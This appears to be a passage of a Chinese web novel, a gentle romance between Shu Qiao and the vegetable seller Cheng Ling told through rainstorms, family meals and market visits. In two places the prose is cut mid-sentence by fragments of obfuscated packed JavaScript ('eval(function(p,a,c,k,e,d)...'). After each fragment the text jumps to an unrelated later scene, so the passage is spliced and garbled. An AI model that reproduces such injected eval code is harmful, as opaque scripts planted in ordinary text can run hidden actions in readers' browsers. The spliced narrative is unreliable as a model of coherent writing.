“这鬼天气！方才还大日头晒着，转眼就起风，怕不是要下大雨！”一个卖青菜的摊主一边嘟囔，一边粗手粗脚地将剩菜塞进竹筐，唯恐雨来得太快，“这些剩菜，回去怕是要烂了！” 旁边卖瓜的摊主也附和，手中绳索飞快捆着空筐，“谁说不是！好在今儿的菜快卖完了，就剩几个苦瓜。要是早上这般，我才该头疼呢！” 落雨天出门人少，不仅赚不到银钱，还要挨雨淋，任谁都不乐意。 舒乔无暇多看，目光在菜行里急急扫过，很快便落在程凌的摊位上。 程凌今日要卖的菜不多，只几筐青菜并几捆韭菜，已差不多售罄，此刻正弯腰摞起空筐。隔着人群，程凌也一眼瞧见了舒乔，直起身朝他挥了挥手。 舒乔将药包往怀里揣紧些，快步走过去，语气带着关切道：“这天色瞧着要落大雨了，程大哥可收拾妥当了？东西多不多？可要搭把手？” 程凌接过他手里的空菜篮，面色很是镇定，缓声道：“无妨，都已收拾妥当。况且我出门带了雨具，在牛车上。” 他说着，顺手从旁侧小筐里取出最后两把嫩青菜，放入舒乔篮中，“今日剩下的，拿回去正好滚个汤。” 舒乔略松了口气，看着篮中青翠的菜叶，忍不住又问：“程大哥怎知今日有雨？还特意备了雨具。” “哪能算准天时，是我娘让带的。”程凌温声道，“她总说出门要多备着些，不拘晴雨，都让我带上雨具水囊，怕我在菜行遇上变故，回不得家。” 许氏为人周全，于儿子的事上尤为细心。 舒小圆立在一旁，眼睛亮亮的，“程大哥你娘真细心！” 程凌看了她一眼，唇角微弯，又转向舒乔道：“明日不知是否下雨。若下了，路不好走，我便不出摊了，先与你说一声。” “好。”舒乔点头接过菜篮。他忽然想起什么，略带懊恼地轻拍额角，“对了，今日出门匆忙，忘了带竹筒。本来泡了金银花茶，想着给你消暑，一忙竟忘了。” 程凌看着他歉然的模样，眼神软了下来，声音也放低几分道：“没事，下回再喝也不迟。”他原想说“我等着”，话到唇边又咽了回去，怕显得太过急切。 “都怪我，方才催着乔哥儿出门，忘了提醒他带竹筒。”秦氏在一旁开口，目光却悄悄端详着程凌。 这孩子瞧着稳重，待乔哥儿的心思也藏不住，说话时眼神总往乔哥儿身上落，倒真有几分意思。 “婶子言重了，这本不算什么事，不必挂心。”他猜这应是舒乔的娘，言辞间愈发恭谨，身姿也不自觉挺直了些。 “乔哥儿常与我提起你，”秦氏缓缓开口，语气自然，目光却紧锁着程凌的面容，不肯错过一丝变化，“说程小子你心肠热，待人实诚，又肯干。谁家姑娘若能许给你，真是有福气的。” 程凌果然显出些许局促，抬手抵唇咳了一声，目光不由自主地飘向一旁——舒乔正仰首望着天际浓云，眉头轻蹙，好似并未留意他们说话，满心担忧雨势太快，阻了程凌归家的路。 舒小圆眼尖，立时接话，状若无意地歪头问道：“程大哥，那你可成了家？” 程凌的目光转回来，声音清晰答道：“我尚未婚配。”言毕，他又悄悄瞥了舒乔一眼，却见对方恰好转过头来，两人视线在空中短暂相触。程凌心头一跳，匆忙移开视线，指尖不自觉地收拢。 舒乔此时察觉黑云愈近，风里已带着湿漉漉的雨气，眼神带着些许慌乱，忙道：“程大哥，你快些回吧，仔细淋了雨。” 回想刚刚程凌说的话，舒乔心下莫名一松，又觉赧然，只得借催促掩饰心绪。 秦氏与舒小圆也附和道：“是啊，快回吧，改日再叙。”她们已得了想知的答案，也不愿程凌受雨淋。 本想再多问几句程凌家中情形，可看这天色，也只能留待下回了。 程凌未再多言，点头应下，目光直直盯着舒乔看，语气里带着几分不舍道：“那我先走了，你们也快些回家，莫要淋着。” “嗯。”舒乔被他看得心头微颤，连忙垂下眼。走出几步又忍不住回头，见程凌正收拾着摊位，这才加快脚步跟上秦氏和舒小圆。 程凌将空筐搬上板车，又仔细检视一遍，确认未有遗漏，这才赶着牛车往城外行去。 牛车刚出城门，豆大的雨点便噼里啪啦砸落下来，顷刻间已成倾盆之势，天地没入白茫茫的雨幕之中。 程凌忙停下牛车，自车斗中翻出蓑衣披上，又将一块油布覆在牛背，怕牛淋雨受寒。 身旁不时有牛马骡车经过，赶车人高声吆喝着催促牲口，车轮碾过泥泞路面，溅起浑浊水花。个个归心似箭，谁也不愿在雨中多待。 冰凉的雨滴打在身上，却未打断程凌的思绪。他想起方才在菜行，舒乔忧切的眼神，秦氏温和的打量，舒小圆直白的问话，以及自己坦言尚未婚配时，舒乔蓦然转首的模样。 他禁不住弯了弯唇角，甩去发间雨水，将手中缰绳握得更紧。待天晴了，定要寻个时机，与乔哥儿好好说一说心底话。 11. 第 11 章 舒乔三人一路小跑着赶回家，前脚刚踏进院门，后脚瓢泼大雨就倾泻而下，倒是巧得很，半点没淋着。 雨水噼里啪啦砸在青石板上，溅起细密的水雾。 舒乔站在门廊下，望着越来越密的雨幕，心里不禁牵挂起来。程大哥这会儿该是出城了吧？这样大的雨，路上定然泥泞难行。 “这雨来得猛，程小子回去怕是要遭罪了。”秦氏也蹙着眉说道，语气里带着真切的关心。 雨势又急又猛，像是要把这些时日积攒的雨水一股脑儿全倒出来。屋檐下的水线连成了密实的帘幕，哗哗地往下淌。 舒乔收回目光，提着药包往灶屋走，“娘，我先去把药煎上，别误了时辰。” 原打算买的猪板油和肉都没能买成。他将药包仔细放好，又回屋把银钱收妥。心里只盼着这雨快些停，明日能是个晴朗天。 舒小圆一到家就按着舒乔的吩咐，把鸡赶进了棚里。这些日子母鸡天天吃着鲜嫩菜叶，精神头足得很，鸡冠子愈发红艳。 她把今日捡的鸡蛋轻轻放进碗柜上方的篮子里，仔细数了一遍，对走进来的舒乔道：“哥哥，今儿咱们吃水蒸蛋吧？” 自打舒小临在茶馆做了活计，家里银钱宽裕了些，不必再像从前那般紧巴巴的。舒乔点头应下，“那你拿碗，打……三个鸡蛋吧！” “好咧！”舒小圆得了准话，立刻欢欢喜喜地动起手来，打蛋的动作利落得很。 舒乔将煎药的炉子刷洗干净，照着药童的嘱咐，添了三碗水，用文火慢慢煎着。屋里很快弥漫开药材特有的苦香，他起身推开半扇窗，望着窗外渐弱的雨势，心下稍安。 秦氏坐在灶膛前，弯腰拣了几根细柴添进去，不时拨弄着控制火候，生怕火大了把水熬干。 “小临也该回了。这雨若是一时不停，乔哥儿你等会儿拿把伞，去街上迎一迎。”秦氏对着在案板前忙碌的舒乔说道。 “晓得了。”舒乔将切好的葱花收进小碗，让舒小圆先端到桌上。 “不用哥哥去，我去就成。”舒小圆话音未落，人已一溜烟跑进隔壁屋里寻伞去了。 “等雨小些再出门。”秦氏探身扬声道，怕她心急火燎地冲出去，湿了衣裳。 “知道啦娘！”舒小圆蹲在炕边的箱子前，翻找片刻，取出一把略显陈旧的油纸伞。虽用了些年头，但家里人都爱惜物件，伞面尚且完好，伞骨也还结实。 雨势渐渐转成绵绵细雨，悄无声息地飘洒着。 舒小圆又等了一会儿，得了秦氏的首肯，这才撑伞出门。 舒小临做活的茶馆在城北，离家有一段路。舒小圆撑着伞走在他平日回家的必经之路上，边走边张望来往行人。 街上人影稀疏，大多撑着伞步履匆匆，布鞋踏在湿漉漉的石板上，溅起细小的水花。 走了一段，她望见前头一个熟悉的身影，试探着唤了声，“小临哥？！” “诶？”舒小临停下急匆匆的脚步，推了推快滑到鼻梁的草帽，还以为自己听岔了。 舒小圆看清是他，连忙上前，将伞举高往他那边挪了挪，声音清亮了几分道：“小临哥你发什么呆，快打伞，我举着胳膊酸。” 舒小临这才将那顶几乎遮住视线的草帽摘下来，接过伞柄，脸上绽开惊喜道：“好啊舒小圆，下雨天还特意来接我，真不愧是我的好妹妹。” “是娘让来的。”舒小圆纠正道。 “那也好。我还以为是哥来呢，嘿嘿，不过这个时辰哥多半在灶上忙活，抽不开身。”舒小临一高兴，话就刹不住，连鞋袜被雨水浸湿了都浑然不觉。 原本管事让他等雨停了再回，可他等不及，借了店里不知谁落下的草帽就跑了回来。 “别絮叨了小临哥，雨又大起来了，咱们快些回家。”舒小圆拍了拍他的胳膊，往他身边靠了靠。 伞面不算大，两人并肩难免挨得紧些。 “成成成，走快点。这雨水把我鞋子都洇湿了，穿着怪难受的。”舒小临嘟囔着，这鞋还是前阵子哥特意给他纳的新鞋呢。 “小临哥真笨，要是我索性脱了鞋跑回来。”舒小圆轻哼道。城里不少路段铺着石板，赤脚走也无妨。脚丫子脏了冲洗便干净，鞋子湿了反倒麻烦。 “对哦！我怎么没想到！不过我明儿还得去茶馆，等会儿怕是得把鞋放灶边烘干了。” 两人你一言我一语，撑着伞快步往家赶。 行至巷口，雨势陡然又大了起来，两人连忙握紧伞柄，叫喊着往家里冲。 推门进来，舒小临嘭地一声合上门，也顾不上闩，将伞往墙边一靠，闪身就钻进了屋。 舒乔出来瞧见，又是好笑又是无奈，朝屋里扬声道：“换了干净衣裳再出来，我熬了姜汤。” “知道啦哥！”舒小临在屋里高声应着。 舒小圆站在舒乔面前，扯了扯自己还算干爽的衣襟给他看，“哥哥我就不用喝了吧？”她可不愿碰那辛辣的姜汤。 舒小临打伞时多半往她这边倾斜，她其实没怎么湿着。她小临哥的原话是——反正我都湿透了，不差这一点。 舒乔摇头，眼神示意她跟上，“你也得喝，出去吹了风。” 见哥哥态度坚决，舒小圆耷拉着肩膀跟过去，有气无力道：“好吧，我喝就是了。” 晚饭舒乔煮了一锅疙瘩汤，里面放了程凌给的嫩青菜，又蒸了水蛋，配着自家腌的酸豆角。虽都是家常菜，却香气扑鼻。 秦氏边喝汤边叮嘱舒小临，“水快烧热了，等会儿吃完你先洗。今儿淋了雨，睡前记得把剩下的姜汤喝完。” “娘，我记下了。”舒小临端起碗呼噜噜吃完，放下碗一脸餍足，“果然还是哥做的饭最合胃口。” 舒乔吃完自己碗里的蒸蛋，指了指锅道：“里头还剩些，小临你吃了吧。” 秦氏和舒小圆也都说饱了，让他别剩下。舒小临其实已吃了八分饱，但见剩下不过小半碗，便也收拾干净了。 舒小圆吃饱了坐在凳子上消食，想着方才舒小临的话，好奇道：“小临哥，你在茶馆午饭都吃些什么？” “嗯——”舒小临端着碗立在灶边，回想道，“晌午多是馒头饼子，后厨会熬一大锅汤，偶尔也有面条、饭菜这些。” “其实也还成，不过总归比不上家里滋味。”舒小临笑着补充。无论如何，他还是觉得家里的饭菜最香。 三人又听他说了些今日茶馆的趣闻，待水热了，才一同收拾碗筷。 雨天阴沉，晚饭比往常用得早，天色也黑得快。若是晴日，这时辰舒乔还能借着余光绣会儿帕子，可眼下外头湿漉漉的，只能待在屋里。 一闲下来，舒乔便忍不住想起程凌。先前未曾深思倒还好，如今既明了自个儿的心意，那人的身影反倒挥之不去了。 程大哥此刻该是到家了吧？他望着窗外顺着屋檐滴落的水珠出神，思绪早已飘远。 舒小圆也闲得发慌，刚吃完饭不好躺下，在屋里来回踱步。 “哥你想啥呢？是不是在惦记程大哥呀。”舒小圆凑到舒乔身边，瞅着他的侧脸问道，还学着大人模样揽住他的肩。 “就你机灵？”舒乔轻轻捏了捏她的脸蛋，语气里带着纵容的无奈，“人小鬼大。” “我这不是关心哥哥嘛。”舒小圆非但不躲，反而贴得更近，“你瞧，若不是我和娘点破，哥哥你怕是现在还糊里糊涂呢。”她颇有些得意。 “那我可真得多谢你了。”舒乔推开她挤过来的脑袋，眼睛一眯，忽然提议，“我看你头发长了不少，趁这会儿得空，我给你修修发尾吧。”说着便要起身去取剪刀。 舒小圆噔地跳开，两手紧紧护住头发，瞪圆了眼睛连连摇头道：“才不要！我还要留长了编辫子呢。” 上回就是信了哥哥和娘的话，一不小心修得太短，跟小满玩耍时，连辫子都编不起来，让她懊恼了好些天。 舒乔走近几步，一本正经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许氏念着方才那场急雨，心疼儿子，不住地往他碗里夹菜，“多吃些，这是你姑姑带来的腊肉，我尝着像是添了些香料腌制，滋味格外香。” 程大江夹了一筷就着馒头，吃得连连点头道：“嗯，是香！” 程凌也饿了，一碗姜汤下肚后，连着吃了四个馒头，又喝了一碗汤才放下碗筷。 许氏见他搁下筷子，连忙开口道：“儿子你先别急着走，娘有话同你说。” 爷俩齐齐看向她。程大江将最后一口馒头塞进嘴里，含糊问道：“啥事啊？” 许氏也吃得差不多了，索性直言道：“还能是什么事，你儿子这个年岁，不就那一桩要紧事么？” 程大江愣神想了想，见妻子瞪他，才恍然道：“哦，你是说儿子的亲事是吧？”这两晚许氏确与他提过，他险些忘了。想着，他也看向程凌道：“儿子，你就听你娘的，让媒人帮着相看相看。” “当年我同你娘也是媒人牵线，一眼就相中了彼此。所以说啊，这缘分……” 许氏打断他道：“好了好了，眼下是说儿子的事。” 程凌望着爹娘，唇角不自觉微扬，心下只觉巧合。下午归来前，乔哥儿还来过菜行。他有七八分把握乔哥儿待他不同，正思量着寻个时机剖白心意。没成想爹娘此刻便提起了婚事。 许氏正盘算着何时去寻媒人，见儿子面露笑意，话音一顿，问道：“儿子，你可是有什么想法？” “娘，过几日再去吧。”程凌正色道。 “行，行。”许氏见他应承，脸上刚绽开笑，却听他接着道：“到时我同您一道去。”说罢便起身收拾碗筷，转身离开。 “儿子这话……是什么意思？”许氏琢磨着方才那句，推了推身旁的程大江，“我听着怎么像有话外之音呢？” “有吗？”程大江茫然，他没听出来啊。 “同你说不明白。”许氏摆摆手，起身往灶屋去。 都说知子莫若母。许氏就这么一个儿子，他心里转什么念头，她多少能揣摩出几分。回想程凌方才的言语神态，她心头蓦地闪过一个念头——儿子该不是……心里早已有人了吧？ 若真如此，那可是天大的好事！ 12. 第 12 章 天公到底没作美，那场雨淅淅沥沥，时断时续地连着下了两天。 程凌这两日便没进城摆摊。雨天里，他就在家编竹篮，柔韧的竹篾在他指间翻飞，几下就绕出了篮底细密的纹路。雨一停，他便扛上铁锹跟着程大江下地，生怕积水沤坏了刚出苗的庄稼。 前不久刚下的玉米种子，几场雨下来，这会儿已蹿到人小腿肚高，翠绿的叶片上挂着晶莹的雨珠。昨日雨停时他们已给玉米地间过苗、除过草，今日主要是给芝麻地排水。 芝麻苗嫩，茎秆受不住涝，连着下两天雨，田垄间积了不少水，得赶紧排水出去。 程凌赤脚踩进软泥里，裤腿高高挽到膝盖，铁锹插进泥中发出沉闷的“噗呲”声，浑浊的泥水顺着新开的浅沟，缓缓流进田埂外的大水沟。 他弯腰顺手拔起几株抢着冒头的野草，远远扔到田埂边上。 “儿子，你那边忙完没？”程大江撸袖子直起身，额角的汗水混着泥水往下淌，他抬头望了望愈发阴沉的天色，眉头拧起，“瞅这天色怕是又要下雨。” “还差两行，弄完就回。”程凌抬手想擦汗，瞥见满手泥泞，只好侧头往肩膀处蹭了蹭，手下动作更快了些。 地里零星还有几个农户在忙碌，偶尔隔着田垄吆喝两句。李大叔挑着担子走过，担子里躺着几支青翠的莲蓬，笑着招呼道：“大江，还忙着呢？” “老李这就回了？”程大江应着，目光落在莲蓬上，“下塘啦？” “哪敢下塘，就在岸边勾了几朵，家里娃娃吵着要吃，顺道来看看庄稼。”李大叔笑得脸上的褶子都挤在一起，想起家里等着的孙子，又道：“不跟你唠了，再晚娃娃该闹腾了。” 李大叔家在村里开了间小油坊，上回程凌帮他家收了两天豆子，得了六十文工钱。李大叔的儿子李大见他干活舍得下力气，还额外送了两桶豆粕让他带回去喂牛。 看着李大叔走远，程大江对刚走过来的程凌打趣道：“这老李，自打抱了孙子，三句话不离嘴边。” 他弯腰用树枝刮着脚上的泥块，像是随口一提，“你娘前儿还跟我念叨，说不知啥时候能抱上孙儿呢……” 程凌脚步微顿，没有接话，只默默走到田边的小水沟旁，弯腰搓洗手脚上的泥巴。 水流清冽，他脑海里却不受控制地浮现出乔哥儿笑眼弯弯的模样。 没说两句，细密的雨丝又飘了下来。 “得，刚好弄完！”程大江赶紧提起铁锹和竹筒，裤腿一高一低也顾不上整理，闷头就往回走，嘴里嘀咕着，“这鬼天气，再下下去，庄稼根都要泡坏了。” 程凌单肩扛着铁锹，迈着长腿跟在后面。他脸上依旧没什么表情，谁也瞧不出他心里正惦记着人。 这场雨淅淅沥沥，直到傍晚才彻底停住。乌云散开些许，天边透出昏黄朦胧的光。 许氏拧干手中的抹布，抬眼望了望天色，对刚从屋里出来的程凌道：“儿子，瞧这架势，明日该是不会下雨了，是不是得进城了？” “要去的。”程凌点头，转身去后院取出明日装菜用的竹筐，用水细细冲刷干净，挨着墙角沥干。 “那正好，”许氏心里盘算开来，“地里的韭菜都长高了一截，明日得全割了拿去卖，再不割就该老了。瓜藤上也结了不少新黄瓜，也得一并摘了……”她一边念叨着明日的活计，一边风风火火地钻进灶屋收拾碗筷。 年前程凌提出要种菜进城卖，许氏和程大江合计了一番，最终划出一亩地，加上屋后那片闲地，觉得应当够了。 家里统共三口人，地里的收成缴完税，剩下的粮食足够吃用，往年还要卖些余粮。匀出一块地来种菜，倒也不算难事。 屋后那片地原本是拿来堆粪肥的荒地。决定种菜后，一家人将地整平翻松，因着底肥足，土力肥沃，长出来的菜格外水灵喜人。 因是第一年卖菜，程凌没种太多品种，多以爬藤的瓜类为主，辅以少许叶菜，唯独韭菜种得格外多，屋后约莫有三四分地全是青翠欲滴的韭菜。 当初听程凌说要寻村里哪家的韭菜种好，还要两三年生、不太老的，数量更是不少，许氏还暗暗吃了一惊。转念一想横竖是种了拿去卖，便在村里多方打听，跑了好几家才凑足这批韭菜根。 除了自家种的菜，程凌偶尔也会从相熟的村人那里收些别家富余的菜蔬。一转手虽然赚得不多，但过往行人见他的小摊菜品丰富，多半会驻足看看。日子久了，倒也攒下些熟客。 城郊确有菜农专种大片蔬菜瓜果，但多半直接供给酒楼大户。程凌做的是散卖生意，自然比不得他们。 好在安平县是个大县，往来商旅不绝。程凌卖一天菜，逢上赶集或年节，生意好时能进账几百文，平常日子也有几十近百文。虽不能大富大贵，但一点一滴攒下来，日子倒也过得踏实有盼头。 翌日，天刚蒙蒙亮，程凌就醒了。 今日要出摊，没敢耽搁，他快速地起身套上衣裳，蹬上旧布鞋就出了门。 院子里还飘着点雨后的潮气，趁着晨风还有点凉飕飕的。 程凌懒得拿盆接水，走到井边，弯腰舀起半瓢水往脸上一泼，清凉的井水瞬间带走了最后一点睡意。 洗漱完，他拎起墙角的镰刀和箩筐，几步就跨到了后院菜地。 韭菜畦一片墨绿，露水正重。他蹲下身，左手拢住，右手镰刀一拉一割，几下就是一把握，顺手就扔进筐里，动作快得很，裤脚被露水打湿了也浑不在意。 没多会儿，筐底就铺了厚厚一层。 前面屋里也亮起了灯，窗纸上映出走动的人影。 程大江洗漱好，拎了箩筐去一旁摘黄瓜，手脚也快的很，三下两除二就装满了一筐。 趁着父子俩在后院忙活，许氏麻利地生火做朝食。知道程凌大部分时间都得守着摊子，她又特意烙了几张厚实顶饿的葱油饼，给他带着当午食。 晨露寒重，摘菜时裤脚和袖口不免被打湿。赶在天光完全放亮时，程凌匆匆喝完碗里热乎乎的米粥，回屋换了件干爽的粗布上衣走出来。 这时程大江早已将菜筐整齐码放在板车上，见程凌出来，便去牛棚牵出那头温顺的青牛，利索地套好车。 许氏递过装好水和饼的包袱，照例叮嘱道：“儿子，钱袋记得收好，菜行里人多眼杂，仔细些。” “晓得了。”程凌接过包袱，牵起牛绳轻喝一声。牛车吱呀呀响起，碾过尚带露水的土路，缓缓融进渐明的晨光里。 到达菜行时，天色刚刚透亮，菜行里已是人声初沸。 挑着担子的、推着独轮车的、像他一样赶着牛车的摊贩们，从四面八方汇集而来，抢占着心仪的位置。熟识的摊主互相打着招呼，开着粗犷的玩笑，卸货声、吆喝声、牲畜偶尔的嘶鸣声交织在一起。 程凌的摊位在菜行东头，不算顶好，但也不算偏僻。他利落地卸下菜筐，将还带着露水的蔬菜一一取出，整齐码放在摊开的粗麻布上。 韭菜根茎对齐，捆成大小均匀的小把；黄瓜依品相排列，最水灵精神的放在最前面；小青菜抖落掉多余的水珠，堆成翠绿的小山。 邻摊卖笋子的老汉慢悠悠地摆弄着他的货品，跟旁边卖豆芽的妇人唠着家常，不知说到什么嗓门一下子提起来，很快又淹没在嘈杂声里。 程凌手脚麻利地干完活，用搭在脖子上的布巾擦了擦汗。 随着天色大亮，赶早市的人流渐渐密集起来。挎着篮子的妇人、步履匆匆的帮厨、精打细算的老翁…… 一位穿着体面的阿么在他的摊前停下，手指翻了翻韭菜问：“后生，这韭菜怎么卖？” “三文一捆，今早刚割的。”程凌拿起一捆递到他眼前。 那位阿么仔细看了看，点点头，“来两捆。黄瓜也挑两根，要直溜的。” “成。”程凌熟练地挑出品相最好的，接过铜钱，这一天就是开张了。 另一边，舒乔总算盼来了晴天，阳光透过云层，照亮了小小的院落。 用过早饭，他同舒小圆一道打了水，直到水面几乎与缸沿齐平，映着晃动的天光。他这才拎起竹篮，踏出院门。 巷子里早已活泛起来，充满了清晨的忙乱与生机。几个小孩追逐着从舒乔身边跑过，带起一阵风。 不少做活计的汉子步履匆匆，嘴里叼着干粮，忙着赶往各自上工的地方。 巷口的公用水井旁最为热闹，等着挑水的人排成了不长的队伍，扁担水桶碰得哐当轻响，间或夹杂着几句关于天气和柴米油盐的闲聊，声音在清晨里显得格外清晰。 舒乔踩着雨后干净的青石板路，先去肉市割了一块肥瘦相间的肉，又买了五斤厚实雪白的猪板油。 屠户是个膀大腰圆的汉子，系着油腻的粗布襜衣，手起刀落，利索得很。 “一共一百四十二文，给一百四十文就成。” 屠户放下秤，用刀尖在肉皮上划个口子，抽过一根油亮的草绳穿过系紧，又从案板下抽出一张硕大，略带清香的干荷叶，将乳白的板油放在中央，粗壮的手指翻飞，三两下包成方方正正的一包，拿搓好的稻秆十字捆紧，这才稳稳放进舒乔递来的篮中。 菜篮霎时沉甸甸的，舒乔用手托了托底，心里满是采买充足的踏实感。 下了两天雨，如今天放晴，街上来往行人多了不少，空气也清新了许多。 舒乔侧身避让过一辆马车，心想今日程凌必定出摊了。这么想着，脸上的笑意不由更深，脚步也愈发轻快起来。 到家后，舒乔打算先熬猪油。猪肉切了一半留着晚上吃，另一半午饭用。 “小圆，帮哥哥洗块姜来。”舒乔朝外喊了一声，手里已经开始清洗那块猪板油。 “来啦！”舒小圆应着，顺手抄起靠在墙边的笤帚，把那只试图溜进屋，在门槛边探头探脑的母鸡轻轻赶了出去，“去去，回你的窝去。” 她蹲在橱柜和墙角的瓦罐里翻找了一会儿，看向舒乔道：“哥哥，姜好像没了，就剩几个干瘪的芽头了。” “没了就去外边薅几株回来。”舒乔头也不抬，正将板油在案板上切成均匀的薄片。 舒小圆哦了一声，起身出去。 草棚边有一块用旧木板围成的小菜畦，里面挤挤挨挨地种了些小葱、嫩姜和蒜苗，还有几株用来泡水喝的薄荷，和一架正努力攀援的丝瓜。 丝瓜藤顺着草棚的架子蜿蜒，因种得晚，瓜纽才手指粗细，却圆润饱满。 舒小圆蹲下身，细细挑选后，拔了几株长得最壮的嫩姜，姜块还带着湿泥，她在木板上抖了抖。 看着丝瓜藤掩映的黄色小花，她抬头数了数藤上新结的小瓜纽，想着过不久就能吃上丝瓜，哼着小曲去舀水洗姜。 丝瓜是出了名的挂果多，从夏日吃到秋凉都够了。舒乔通常还会特意留几个瓜长老，取籽留种，剩下的瓜瓤晒干了，韧性十足，用来刷洗锅碗，比那铺子里卖的炊帚还趁手。 没过多久，院子里就飘出了熬猪油的香味，荤油气混着肉香，直往鼻子里钻。 锅里的肥肉丁滋滋地冒着泡，渐渐从白色变得透明，再慢慢缩成金黄焦脆的油渣。 舒乔弯腰往灶膛里添了根细柴，不时拿锅铲轻轻翻动。 “好香啊。”舒小圆像只被香味牵引的小狗，伸长脖子朝锅里望，眼睛亮晶晶的，回头朝舒乔笑道：“今晚有油渣吃咯！撒点盐，我能吃一大碗！” 刚出锅的油渣金黄酥脆，咬下去会发出咯吱声。舒小圆看着在油锅里滋滋冒响的油渣，忍不住咽了咽口水。 舒乔笑了声，用空着的手轻轻弹了一下她的额头，“小馋猫，还得再等一会儿，把水分熬干才脆生。等会儿好了我叫你，先回屋把最后那点绣活做完，不然王掌柜下回该挑剔了。” 舒小圆摸着额头，乖乖应道：“好嘛，哥哥你可别忘了叫我，我最信你了。” “忘不了，快去。”舒乔在灶前的小凳子上坐下，目光重新回到锅里。 反正帕子也快完工了，舒小圆蹦蹦跳跳回屋，想着赶紧绣完好放心吃油渣。 她的绣活都是舒乔手把手教的，从穿针引线到分丝配色。平日虽嘴上嚷着脖子酸、眼睛累，学得却认真，针捏得稳。 绣出来的帕子和舒乔那精细得能卖出好价的相比，虽针脚稍显稚嫩，配色更大胆些，但也平整密实，看得过去。 前几日舒乔去卖绣品，王掌柜顺口问了句舒小圆学得如何，舒乔便多说了几句妹妹的认真。 王掌柜知道后，让舒乔下次把她绣的帕子也拿几张来看看，最终在一堆帕子里挑了几张绣得最齐整的收下了。 “针脚还算匀净，这小猫扑蝶的花样虽简单，倒也憨态可掬，尾巴绣得有几分活泛劲儿，小丫头有几分灵性，这几条我收了。” 舒乔把王掌柜的话原原本本说给舒小圆听，小丫头当即乐得在炕上打滚，秦氏在一旁也笑得合不拢嘴。 一条帕子七文！舒小圆一下挣了二十一文！ 这可不得了，她像打了鸡血似的，绣帕子比往日积极得多，不用舒乔和秦氏催促，一有空就抱着绣绷，琢磨绣什么花样好看。 王掌柜固然卖了舒乔几分面子，但舒小圆的帕子也确实绣得不错。有人喜欢梅兰竹菊的雅致，也有人偏爱活泼有趣的图样，尤其家里有年幼子女的，多会买回去哄孩子开心。 刚熬好的猪油澄黄透亮，舒乔用勺子舀起，小心倒入干燥的阔口陶罐，装完后又稳稳移到灶台边，盖好盖子。他另取个小碗，盛了半碗金灿灿的油渣，撒上一小撮细盐，端进屋里。 “谁要吃？”舒乔站在门边，自己先拈了一块还烫手的油渣放入口中，嚼得咯吱响，满口都是焦香。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不了，哥哥你早点回来呀！”舒小圆清脆地应了一声，手里还捏着针，转头悄悄瞥了眼坐在窗边就着光亮纳鞋底的娘亲，母女俩视线一对，舒小圆露出一个心照不宣的狡黠笑容。 娘早私下吩咐过她，得让哥哥和程大哥多些独处的机会。她若是跟去，岂不是太不识趣了？ 想到这里，小姑娘脸上的笑意更深，带着点“我什么都懂”的小得意。 另一边舒乔眼里掠过一丝疑惑，随即恍然，想来妹妹是知道了绣帕子能挣银钱的事，正新鲜劲儿十足，埋头用功呢。他心下欣慰妹妹长大了，懂事了，拎起篮子出了院门。 夏天傍晚的风带着令人舒爽的凉意，吹散了白日的些许燥热。 孩童的嬉闹声，家人呼唤孩子回家的悠长调子传来，舒乔穿过热闹的巷弄。他步子轻快，不一会儿就来到了喧嚣渐落的菜市。 此时的菜市已不似清晨时分那般人声鼎沸，摩肩接踵。大部分摊贩开始归置剩余不多的货物，擦拭秤盘，互相招呼着“明儿见”。 程凌的菜摊靠近出口的位置，舒乔到时，他正背对着这边，弯腰将摊位上品相稍差，有些蔫软的菜叶拢到一处。 眼角撇到熟悉的身影，程凌脊背微微一直，随即放下手里的东西，转过身来看着舒乔，如常唤道：“来了。” “程大哥。”舒乔笑着应了，将空篮子递过去。 程凌照旧将早已整理好的菜叶给他装好，舒乔伸手接过时，指尖不经意相触，两人都顿了一下，随即跟被烫着似的迅速分开。 几句日常问候后，两人之间倏然静了下来，一种微妙的寂静在空气中蔓延。 周遭零星的叫卖声与归家人的谈笑声，越发衬得这份寂静撩动人心。 舒乔只觉得耳根隐隐发烫，心跳也快了几分，觉得非得说些什么才好，不然这心就要从嗓子眼跳出来了。 他目光游移到摊上最后几根略显弯曲，带着小刺的黄瓜上，声音有些干巴巴地开口道：“程大哥，今天黄瓜卖得挺快。” “嗯，就剩这几根品相差些的，没人要。”程凌喝完水，擦了把汗，抬眼看向他时，里面含着未散尽的笑意，看得舒乔更不自在了。 “那青菜也卖得差不多了？”舒乔下意识地接话，话一出口就意识到这问题多余，摊上空荡荡的，一目了然，他纤长的睫毛快速眨动了一下。 他平日这时该走了，这会儿脚下却有些挪不动，想多同他说几句话。 舒乔轻轻吸了口气，抬头望了望天际白花花的云团，又寻了个话头，语气努力放得自然道：“近来天黑得似乎晚了些，酉时了，天还这么亮。” 程凌手里拿着水囊，注视着他微微侧过去的半边脸颊，又扫过他无意识地在篮柄上扣着的手指，顿了顿，点头应和道：“是，入了夏，白日就一天长过一天了。” 看着舒乔微微垂下视线，似乎还在努力搜刮别的话题，那副明明不擅长却又强自镇定的模样，让程凌心头像是被羽毛轻轻扫过。 他心里不再犹豫，放下手里的水囊，声音平稳却直接道：“乔哥儿，往后，我不会再给你菜叶了。” 舒乔猛地抬起头，眼睛微微睁大，刚才想好的话都卡在了喉咙里，唇瓣无声地张合了一下。 他能清晰地感受到自己的心在胸腔里一下下有力地撞击着，速度很快，带着一种预示般的悸动。 他隐隐约约猜到，程凌要跟他说什么了。 程凌目光直盯着他，继续说道：“往后，我每天都会给你留最好的，你人来就行。” 说完他面容柔和了些，平稳的声线里透出几分不易察觉的小心翼翼，解释道：“我不是只想给你菜，更是想……日日都能见到你，说上几句话。” 虽说心里有过猜测，可真听到程凌说出来，舒乔还是愣住了。 周遭的声音仿佛瞬间远去，又猛地涌回。他下意识屏住呼吸，手指紧紧攥住提手，指节因用力而微微发白。 他飞快瞥了程凌一眼，发觉他沉稳目光下那一丝紧绷。 原来不止他一个人在紧张啊。这个发现奇异地抚平了他的慌乱。 舒乔不是爱纠结的人。程凌的话直白真诚，就像他这个人一样，踏实，可靠。往日那些默默的关照，雷打不动的等候，他怎能不放在心上。 